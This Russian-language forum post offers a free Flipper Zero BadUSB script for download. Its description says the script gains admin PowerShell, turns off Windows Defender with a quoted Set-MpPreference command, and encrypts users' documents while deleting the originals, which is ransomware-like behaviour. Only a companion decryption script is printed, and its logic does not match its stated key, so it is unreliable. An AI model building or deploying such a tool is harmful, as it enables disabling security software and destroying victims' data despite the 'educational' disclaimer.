Бесплатно Самописный скрипт для FlipperZero(шифрование определённых данных, отключение антивируса)

rootkaliwhoami

Интересующийся
Подтвержденный
Регистрация
01.09.24
Сообщения
63
Реакции
4
Дисклеймер:данный скрипт создан в образовательных и научных целях, автор не несет ответственность за ваши действия!!!!

Данный скрипт создан для функции Badusb

Основные функции скрипта:

1) Повышение привилегий:
Открывает окно PowerShell с правами администратора
Использует команду Start-Process powershell -Verb RunAs
2) Отключение антивирусного ПО:
Пытается отключить Windows Defender через команду Set-MpPreference -DisableRealtimeMonitoring $true
Содержит закомментированные примеры отключения сторонних антивирусов
3) Шифрование файлов:
Определяет целевые директории (Документы и Рабочий стол)
Задает список расширений файлов для шифрования (.sql, .mdb, .accdb, .xls, .xlsx, .xlsm, .doc, .docx)
Использует ключ шифрования (который указан в скрипте является слабым местом)
Шифрует файлы, сохраняя их копии с расширением .encrypted
Удаляет оригиналы после успешного шифрования


Внимание
Если надо расшифровать зашифрованные файлы воспользуйтесь эти PowerShell скриптом:

Код:
# Указываем директории для поиска зашифрованных файлов
$targetDirectories = @(
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Desktop"
)

# Указываем расширения зашифрованных файлов
$encryptedExtensions = @(".encrypted")

# Вставляем тот же ключ шифрования, который использовался при шифровании
$encryptionKey = "YOURSECRETENCRYPTIONKEYHERE"

# Проходим по всем директориям
foreach ($dir in $targetDirectories) {
    foreach ($ext in $encryptedExtensions) {
        # Получаем список зашифрованных файлов
        $files = Get-ChildItem -Path $dir -Filter "*$ext" -Recurse -ErrorAction SilentlyContinue
        
        foreach ($file in $files) {
            try {
                $filePath = $file.FullName
                $originalFilePath = $filePath.Replace(".encrypted", "")
                
                # Читаем зашифрованное содержимое
                $encryptedContent = Get-Content -Path $filePath -Encoding ASCII
                
                # Расшифровываем данные
                $decryptedContent = [System.Security.Cryptography.ProtectedData]::Unprotect(
                    [System.Convert]::FromBase64String($encryptedContent),
                    $null,
                    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
                )
                
                # Сохраняем расшифрованный файл
                [System.IO.File]::WriteAllBytes($originalFilePath, $decryptedContent)
                
                # Удаляем зашифрованную версию
                Remove-Item -Path $filePath -Force
                
                Write-Host "Расшифрован: $($file.Name)"
            }
            catch {
                Write-Host "Ошибка при расшифровке $($file.Name): $($_.Exception.Message)"
            }
        }
    }
}
Скачать // Download:
 

Вложения

Сверху Снизу